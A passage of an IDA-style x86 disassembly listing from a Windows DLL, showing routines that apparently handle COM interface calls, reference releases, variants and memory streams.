		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax

locret_69B4687F:			; CODE XREF: sub_69B4685C+Dj
		retn	8
sub_69B4685C	endp

; ---------------------------------------------------------------------------


loc_69B46882:				; DATA XREF: .text:off_69B14E6Co
		push	edi
		mov	edi, ecx
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_69B468AC
		push	esi
		mov	esi, [eax+0Ch]
		jmp	short loc_69B468A5
; ---------------------------------------------------------------------------


loc_69B46892:				; CODE XREF: .text:69B468A7j
		mov	ecx, [edi+4]
		dec	esi
		push	esi
		call	sub_69B8A163
		mov	ecx, [eax+8]
		cmp	ecx, [esp+0Ch]
		jz	short loc_69B468B0


loc_69B468A5:				; CODE XREF: .text:69B46890j
		test	esi, esi
		jnz	short loc_69B46892
		xor	eax, eax


loc_69B468AB:				; CODE XREF: .text:69B468B3j
		pop	esi


loc_69B468AC:				; CODE XREF: .text:69B4688Aj
		pop	edi
		retn	4
; ---------------------------------------------------------------------------


loc_69B468B0:				; CODE XREF: .text:69B468A3j
		add	eax, 10h
		jmp	short loc_69B468AB
; ---------------------------------------------------------------------------


loc_69B468B5:				; DATA XREF: .text:69B14E70o
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_69B468E1
		mov	eax, [esp+4]
		cmp	eax, [ecx+0Ch]
		jge	short loc_69B468E1
		push	eax
		call	sub_69B8A163
		mov	ecx, [eax+0Ch]
		mov	edx, [esp+8]
		mov	[edx], ecx
		mov	eax, [eax+8]
		mov	ecx, [esp+0Ch]
		mov	[ecx], eax
		mov	al, 1
		jmp	short locret_69B468E3
; ---------------------------------------------------------------------------


loc_69B468E1:				; CODE XREF: .text:69B468BAj
					; .text:69B468C3j
		xor	al, al

locret_69B468E3:			; CODE XREF: .text:69B468DFj
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B468E6:				; DATA XREF: sub_69B6A7F2+2Bo
					; sub_69B6A7F2+D9o
		jmp	sub_69B466CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B468EB	proc near		; CODE XREF: sub_69B46944+20p

var_C		= byte ptr -0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, ecx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B46908
		mov	eax, 80004005h
		jmp	short loc_69B46940
; ---------------------------------------------------------------------------


loc_69B46908:				; CODE XREF: sub_69B468EB+14j
		push	0
		lea	ecx, [ebp+var_C]
		call	sub_69B11D3B
		push	0
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		add	esi, 34h
		push	dword ptr [esi]
		call	sub_69B3B4B1
		push	0
		push	esi
		call	sub_69B17320
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		xor	eax, eax


loc_69B46940:				; CODE XREF: sub_69B468EB+1Bj
		pop	esi
		pop	ebx
		leave
		retn
sub_69B468EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B46944	proc near		; CODE XREF: .text:69B470E7p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-0Ch]
		mov	dword ptr [ecx], offset	off_69B126A8
		mov	dword ptr [esi-8], offset off_69B281DC
		mov	dword ptr [esi], offset	off_69B281D8
		mov	dword ptr [esi+0Ch], offset off_69B2819C
		call	sub_69B468EB
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		add	esi, 10h
		push	esi
		call	sub_69B17230
		pop	esi
		jmp	sub_69B2C65C
sub_69B46944	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B469C9(int, LPCWSTR strIn, int, LPCWSTR psz2)

sub_69B469C9	proc near		; DATA XREF: .text:69B281B8o

strIn		= dword	ptr  8
arg_8		= dword	ptr  0Ch
psz2		= dword	ptr  10h

		push	[esp+psz2]	; psz2
		push	[esp+4+arg_8]	; int
		push	[esp+8+strIn]	; strIn
		push	0		; char
		push	offset dword_69B99280 ;	int
		call	sub_69B2CFAA
		retn	10h
sub_69B469C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B469E4	proc near		; DATA XREF: .text:69B281BCo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		add	eax, 0FFFFFFE8h
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0
		push	offset dword_69B99280
		push	eax
		call	sub_69B2C800
		pop	ebp
		retn	20h
sub_69B469E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B46A13	proc near		; CODE XREF: sub_69B47172+49j
					; sub_69B475B7+149p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+38h]
		cmp	dword ptr [eax], 0
		jz	short loc_69B46A26
		push	0
		push	eax
		call	sub_69B17320


loc_69B46A26:				; CODE XREF: sub_69B46A13+9j
		add	esi, 40h
		push	esi		; pvarg
		call	VariantClear
		pop	esi
		retn
sub_69B46A13	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B46A32	proc near		; CODE XREF: sub_69B3B426+17p
					; sub_69B3B45A+15p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		add	ecx, 1Ch
		push	ecx
		call	sub_69B17320
		retn	4
sub_69B46A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame thunk


sub_69B46A42	proc near		; DATA XREF: .text:off_69B126A8o
		jmp	sub_69B3B7BC
sub_69B46A42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B46A47	proc near		; CODE XREF: sub_69B46AC0+D5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [eax]
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	esi
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_69B46AB0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jge	short loc_69B46A6B


loc_69B46A67:				; CODE XREF: sub_69B46A47+33j
					; sub_69B46A47+49j
		mov	esi, eax
		jmp	short loc_69B46A97
; ---------------------------------------------------------------------------


loc_69B46A6B:				; CODE XREF: sub_69B46A47+1Ej
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jl	short loc_69B46A67
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B46A92
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	offset dword_69B2AFF0
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B46A67
; ---------------------------------------------------------------------------


loc_69B46A92:				; CODE XREF: sub_69B46A47+3Aj
		mov	esi, 80004005h


loc_69B46A97:				; CODE XREF: sub_69B46A47+22j
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_69B17230
		mov	eax, esi
		pop	esi
		leave
		retn	4
sub_69B46A47	endp

; ---------------------------------------------------------------------------
dword_69B46AB0	dd 568h, 100000h, 0AA000080h, 0A42E6D00h
; =============== S U B	R O U T	I N E =======================================



sub_69B46AC0	proc near		; CODE XREF: sub_69B46C54+48p
					; sub_69B4789C+48p
		push	2Ch
		push	offset dword_69B46C48
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	ebx, ebx
		mov	[ebp-20h], ebx
		mov	[ebp-24h], ebx
		mov	[ebp-4], ebx
		mov	edi, [ebp+8]
		push	edi
		lea	ecx, [esi+24h]
		call	sub_69B199CC
		lea	eax, [esi+28h]
		mov	[ebp-28h], eax
		mov	[ebp-2Ch], eax
		push	ebx
		push	eax
		call	sub_69B17320
		lea	eax, [esi+2Ch]
		mov	[ebp-30h], eax
		mov	[ebp-34h], eax
		push	ebx
		push	eax
		call	sub_69B17320
		add	esi, 30h
		mov	[ebp-38h], esi
		push	ebx
		push	esi
		call	sub_69B17320
		cmp	edi, ebx
		jz	loc_69B46C25
		mov	eax, [edi]
		mov	esi, [ebp-28h]
		push	esi
		push	offset dword_69B2AFF0
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jge	loc_69B46C25
		mov	eax, [edi]
		lea	ecx, [ebp-24h]
		push	ecx
		push	offset dword_69B2B000
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B46B62
		push	dword ptr [ebp-24h]
		call	sub_69B38858


loc_69B46B4D:				; CODE XREF: sub_69B46AC0+CCj
					; sub_69B46AC0+D0j
		push	eax
		mov	ecx, esi
		call	sub_69B199CC
		mov	eax, [esi]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_69B46C25
; ---------------------------------------------------------------------------


loc_69B46B62:				; CODE XREF: sub_69B46AC0+83j
		mov	eax, [edi]
		lea	ecx, [ebp-20h]
		push	ecx
		push	offset dword_69B28DD8
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B46B92
		push	34h
		call	sub_69B1D897
		mov	[ebp-3Ch], eax
		cmp	eax, ebx
		jz	short loc_69B46B8E
		push	dword ptr [ebp-20h]
		mov	ecx, eax
		call	sub_69B5656B
		jmp	short loc_69B46B4D
; ---------------------------------------------------------------------------


loc_69B46B8E:				; CODE XREF: sub_69B46AC0+C0j
		xor	eax, eax
		jmp	short loc_69B46B4D
; ---------------------------------------------------------------------------


loc_69B46B92:				; CODE XREF: sub_69B46AC0+B2j
		push	esi
		mov	eax, edi
		call	sub_69B46A47
		test	eax, eax
		jge	loc_69B46C25
		mov	eax, [edi]
		push	dword ptr [ebp-30h]
		push	offset dword_69B2B020
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jge	short loc_69B46BCB
		mov	eax, [edi]
		push	dword ptr [ebp-30h]
		push	offset dword_69B2B0D0
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jge	short loc_69B46BCB
		push	80004002h
		jmp	short loc_69B46BD6
; ---------------------------------------------------------------------------


loc_69B46BCB:				; CODE XREF: sub_69B46AC0+F1j
					; sub_69B46AC0+102j
		push	esi		; ppstm
		push	1		; fDeleteOnRelease
		push	ebx		; hGlobal
		call	ds:CreateStreamOnHGlobal
		push	eax


loc_69B46BD6:				; CODE XREF: sub_69B46AC0+109j
		call	sub_69B8861E
		jmp	short loc_69B46C25
; ---------------------------------------------------------------------------


loc_69B46BDD:				; DATA XREF: .text:69B46C4Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B46BE6:				; DATA XREF: .text:69B46C50o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		lea	eax, [esi+24h]
		xor	ebx, ebx
		push	ebx
		push	eax
		call	sub_69B17320
		lea	eax, [esi+28h]
		push	ebx
		push	eax
		call	sub_69B17320
		lea	eax, [esi+2Ch]
		push	ebx
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [ebp-24h]
		push	eax
		call	sub_69B17320
		call	sub_69B2E860


loc_69B46C25:				; CODE XREF: sub_69B46AC0+57j
					; sub_69B46AC0+6Dj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-24h]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp-20h]
		push	eax
		call	sub_69B17230
		call	sub_69B1853C
		retn	4
sub_69B46AC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B46C48	dd 0FFFFFFFFh			dd offset loc_69B46BDD
		dd offset loc_69B46BE6

; =============== S U B	R O U T	I N E =======================================



sub_69B46C54	proc near		; CODE XREF: sub_69B46CA6+22p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+24h]
		test	eax, eax
		push	edi
		jnz	short loc_69B46C91
		push	1000h
		call	sub_69B88D8C
		push	eax
		lea	edi, [esi+30h]
		push	edi
		call	sub_69B17320
		push	dword ptr [edi]
		call	sub_69B887E9
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		lea	edi, [esi+28h]
		push	edi
		call	sub_69B17320
		jmp	short loc_69B46CA1
; ---------------------------------------------------------------------------


loc_69B46C91:				; CODE XREF: sub_69B46C54+9j
		lea	edi, [esi+28h]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B46CA1
		push	eax
		mov	ecx, esi
		call	sub_69B46AC0


loc_69B46CA1:				; CODE XREF: sub_69B46C54+3Bj
					; sub_69B46C54+43j
		mov	eax, [edi]
		pop	edi
		pop	esi
		retn
sub_69B46C54	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B46CA6	proc near		; CODE XREF: sub_69B47486+78p
		push	28h
		push	offset dword_69B46D38
		call	sub_69B19C5C
		mov	esi, ecx
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+38h]
		mov	[ebp-1Ch], eax
		push	0
		push	eax
		call	sub_69B3B54A
		mov	ecx, esi
		call	sub_69B46C54
		mov	[ebp-20h], eax
		mov	eax, [esi+54h]
		mov	edx, [esi+50h]
		mov	[ebp-24h], edx
		mov	edi, [esi+24h]
		mov	[ebp-28h], edi
		mov	ecx, [esi+20h]
		mov	[ebp-2Ch], ecx
		mov	esi, [esi+38h]
		mov	[ebp-30h], esi
		mov	[ebp-34h], ecx
		mov	ebx, eax
		add	eax, 8
		neg	ebx
		sbb	ebx, ebx
		and	ebx, eax
		push	ebx
		push	edx
		test	edi, edi
		setz	al
		push	eax
		push	dword ptr [ebp-20h]
		call	sub_69B6E61A
		push	eax
		push	esi
		mov	ecx, [ebp-34h]
		call	sub_69B6FABE
		xor	eax, eax
		mov	[ebp-38h], eax
		jmp	short loc_69B46D2B
; ---------------------------------------------------------------------------


loc_69B46D1A:				; DATA XREF: .text:69B46D3Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B46D23:				; DATA XREF: .text:69B46D40o
		mov	esp, [ebp-18h]
		call	sub_69B2E808


loc_69B46D2B:				; CODE XREF: sub_69B46CA6+72j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn
sub_69B46CA6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B46D38	dd 0FFFFFFFFh			dd offset loc_69B46D1A
		dd offset loc_69B46D23

; =============== S U B	R O U T	I N E =======================================



sub_69B46D44	proc near		; CODE XREF: sub_69B471C0+35p
					; sub_69B47287+25p ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+58h]
		cmp	eax, 2
		jl	short loc_69B46D74
		cmp	eax, 4
		jg	short loc_69B46D74
		mov	ecx, [esi+20h]
		call	sub_69B6ED05
		mov	eax, [esi+38h]
		test	eax, eax
		jz	short loc_69B46D74
		push	eax
		call	sub_69B3B496


loc_69B46D74:				; CODE XREF: sub_69B46D44+14j
					; sub_69B46D44+19j ...
		mov	dword ptr [esi+58h], 5
		pop	esi
		retn
sub_69B46D44	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B46D7D	proc near		; DATA XREF: .text:69B126D4o
		push	28h
		push	offset dword_69B46E40
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B46DA2
		mov	eax, 80004005h
		jmp	loc_69B46E31
; ---------------------------------------------------------------------------


loc_69B46DA2:				; CODE XREF: sub_69B46D7D+19j
		push	edi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	esi, [ebp+0Ch]
		cmp	esi, edi
		jnz	short loc_69B46DCA
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B46E31
; ---------------------------------------------------------------------------


loc_69B46DCA:				; CODE XREF: sub_69B46D7D+33j
		mov	[ebp-4], edi
		mov	[esi], edi
		mov	eax, [ebp+8]
		mov	eax, [eax+50h]
		mov	[ebp-2Ch], eax
		cmp	eax, edi
		jz	short loc_69B46DF3
		mov	[ebp-30h], eax
		mov	ecx, [eax+14h]
		mov	[ebp-34h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ecx, eax
		call	sub_69B2F352
		mov	[esi], eax


loc_69B46DF3:				; CODE XREF: sub_69B46D7D+5Dj
		mov	[ebp-38h], edi
		jmp	short loc_69B46E19
; ---------------------------------------------------------------------------


loc_69B46DF8:				; DATA XREF: .text:69B46E44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B46E01:				; DATA XREF: .text:69B46E48o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-38h], eax


loc_69B46E19:				; CODE XREF: sub_69B46D7D+79j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-38h]


loc_69B46E31:				; CODE XREF: sub_69B46D7D+20j
					; sub_69B46D7D+4Bj
		call	sub_69B1853C
		retn	8
sub_69B46D7D	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B46E40	dd 0FFFFFFFFh			dd offset loc_69B46DF8
		dd offset loc_69B46E01

; =============== S U B	R O U T	I N E =======================================



sub_69B46E4C	proc near		; DATA XREF: .text:69B126D8o
		push	2Ch
		push	offset dword_69B46F10
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B46E71
		mov	eax, 80004005h
		jmp	loc_69B46F07
; ---------------------------------------------------------------------------


loc_69B46E71:				; CODE XREF: sub_69B46E4C+19j
		push	edi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	esi, [ebp+0Ch]
		cmp	esi, edi
		jnz	short loc_69B46E99
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B46F07
; ---------------------------------------------------------------------------


loc_69B46E99:				; CODE XREF: sub_69B46E4C+33j
		mov	[ebp-4], edi
		mov	[esi], edi
		mov	eax, [ebp+8]
		mov	eax, [eax+50h]
		mov	[ebp-2Ch], eax
		cmp	eax, edi
		jz	short loc_69B46EC9
		mov	[ebp-30h], eax
		mov	ecx, [eax+10h]
		mov	[ebp-34h], ecx
		mov	[ebp-38h], ecx
		cmp	ecx, edi
		jz	short loc_69B46EC9
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ecx, eax
		call	sub_69B2F352
		mov	[esi], eax


loc_69B46EC9:				; CODE XREF: sub_69B46E4C+5Dj
					; sub_69B46E4C+6Dj
		mov	[ebp-3Ch], edi
		jmp	short loc_69B46EEF
; ---------------------------------------------------------------------------


loc_69B46ECE:				; DATA XREF: .text:69B46F14o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B46ED7:				; DATA XREF: .text:69B46F18o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-3Ch], eax


loc_69B46EEF:				; CODE XREF: sub_69B46E4C+80j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-3Ch]


loc_69B46F07:				; CODE XREF: sub_69B46E4C+20j
					; sub_69B46E4C+4Bj
		call	sub_69B1853C
		retn	8
sub_69B46E4C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B46F10	dd 0FFFFFFFFh			dd offset loc_69B46ECE
		dd offset loc_69B46ED7

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B46F1C(LPCWSTR lpString, int, int)

sub_69B46F1C	proc near		; CODE XREF: sub_69B47043+27p

lpString	= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	20h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B46F33
		mov	ecx, eax
		call	sub_69B14D9C
		mov	esi, eax
		jmp	short loc_69B46F35
; ---------------------------------------------------------------------------


loc_69B46F33:				; CODE XREF: sub_69B46F1C+Aj
		xor	esi, esi


loc_69B46F35:				; CODE XREF: sub_69B46F1C+15j
		push	edi
		push	[esp+8+lpString] ; lpString
		call	sub_69B2FADA
		mov	edi, eax
		mov	eax, [esp+8+arg_8]
		test	eax, eax
		jz	short loc_69B46F57
		cmp	word ptr [eax],	0
		jz	short loc_69B46F57
		push	eax		; lpString
		call	sub_69B2FADA
		jmp	short loc_69B46F59
; ---------------------------------------------------------------------------


loc_69B46F57:				; CODE XREF: sub_69B46F1C+2Bj
					; sub_69B46F1C+31j
		xor	eax, eax


loc_69B46F59:				; CODE XREF: sub_69B46F1C+39j
		push	eax
		push	edi
		call	sub_69B192E9
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		push	[esp+8+arg_4]
		lea	ecx, [esi+10h]
		mov	byte ptr [esi+14h], 1
		call	sub_69B64A14
		test	al, al
		pop	edi
		jnz	short loc_69B46F89
		push	80020005h
		call	sub_69B2E8B8


loc_69B46F89:				; CODE XREF: sub_69B46F1C+61j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B46F1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B46F8F	proc near		; DATA XREF: .text:69B14DF0o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		lea	ecx, [esi+10h]
		call	sub_69B466CC
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B46F8F	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B46FAD(int, LPCWSTR lpString)

sub_69B46FAD	proc near		; CODE XREF: sub_69B4707B+23p

arg_0		= dword	ptr  4
lpString	= dword	ptr  8

		push	esi
		push	10h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B46FC4
		mov	ecx, eax
		call	sub_69B14DF4
		mov	esi, eax
		jmp	short loc_69B46FC6
; ---------------------------------------------------------------------------


loc_69B46FC4:				; CODE XREF: sub_69B46FAD+Aj
		xor	esi, esi


loc_69B46FC6:				; CODE XREF: sub_69B46FAD+15j
		push	[esp+4+lpString] ; lpString
		call	sub_69B2FADA
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		push	[esp+4+arg_0]
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	8
sub_69B46FAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B46FEC	proc near		; DATA XREF: .text:69B14E44o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B46FEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4700D	proc near		; CODE XREF: sub_69B47A04+6Fp
					; sub_69B47AEC+67p

; FUNCTION CHUNK AT 69B14E48 SIZE 00000021 BYTES

		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B4701F
		mov	ecx, eax
		jmp	loc_69B14E48
; ---------------------------------------------------------------------------


loc_69B4701F:				; CODE XREF: sub_69B4700D+9j
		xor	eax, eax
		retn
sub_69B4700D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47022	proc near		; DATA XREF: .text:69B14EA8o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B47022	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B47043(LPCWSTR lpString, int, int)

sub_69B47043	proc near		; CODE XREF: sub_69B47A04+8Bp

lpString	= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		lea	esi, [ecx+0Ch]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B4705C
		push	0
		push	6
		call	sub_69B8A458
		push	eax
		push	esi
		call	sub_69B17320


loc_69B4705C:				; CODE XREF: sub_69B47043+7j
		push	[esp+4+arg_8]	; int
		mov	esi, [esi]
		push	[esp+8+arg_4]	; int
		push	[esp+0Ch+lpString] ; lpString
		call	sub_69B46F1C
		push	eax
		mov	ecx, esi
		call	sub_69B8A35C
		pop	esi
		retn	0Ch
sub_69B47043	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B4707B(int, LPCWSTR lpString)

sub_69B4707B	proc near		; CODE XREF: sub_69B47AEC+93p

arg_0		= dword	ptr  4
lpString	= dword	ptr  8

		push	esi
		lea	esi, [ecx+10h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B47094
		push	0
		push	6
		call	sub_69B8A458
		push	eax
		push	esi
		call	sub_69B17320


loc_69B47094:				; CODE XREF: sub_69B4707B+7j
		push	[esp+4+lpString] ; lpString
		mov	esi, [esi]
		push	[esp+8+arg_0]	; int
		call	sub_69B46FAD
		push	eax
		mov	ecx, esi
		call	sub_69B8A35C
		pop	esi
		retn	8
sub_69B4707B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B470AF	proc near		; CODE XREF: sub_69B47360+3p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B99280
		push	off_69B99284
		lea	ecx, [esi+0Ch]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B470AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B470D0	proc near		; DATA XREF: .text:off_69B281DCo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B3B7BC
sub_69B470D0	endp

; ---------------------------------------------------------------------------


loc_69B470DA:				; DATA XREF: .text:off_69B2819Co
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B3B7BC
; ---------------------------------------------------------------------------


loc_69B470E4:				; DATA XREF: .text:off_69B281D8o
		push	esi
		mov	esi, ecx
		call	sub_69B46944
		test	byte ptr [esp+8], 1
		jz	short loc_69B470FC
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B470FC:				; CODE XREF: .text:69B470F1j
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B47103	proc near		; DATA XREF: .text:69B14DC8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B4711E
		test	[esp+4+arg_0], 1
		jz	short loc_69B47118
		push	esi
		call	sub_69B1829F


loc_69B47118:				; CODE XREF: sub_69B47103+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B47103	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4711E	proc near		; CODE XREF: sub_69B47103+3p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+10h]
		call	sub_69B466CC
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B4711E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4713A	proc near		; CODE XREF: sub_69B78671+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B4713A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47157	proc near		; DATA XREF: .text:69B14E80o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8F249
		test	[esp+4+arg_0], 1
		jz	short loc_69B4716C
		push	esi
		call	sub_69B1829F


loc_69B4716C:				; CODE XREF: sub_69B47157+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B47157	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47172	proc near		; CODE XREF: sub_69B471C0+3Cp
					; sub_69B473A7+10p
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17320
		push	edi
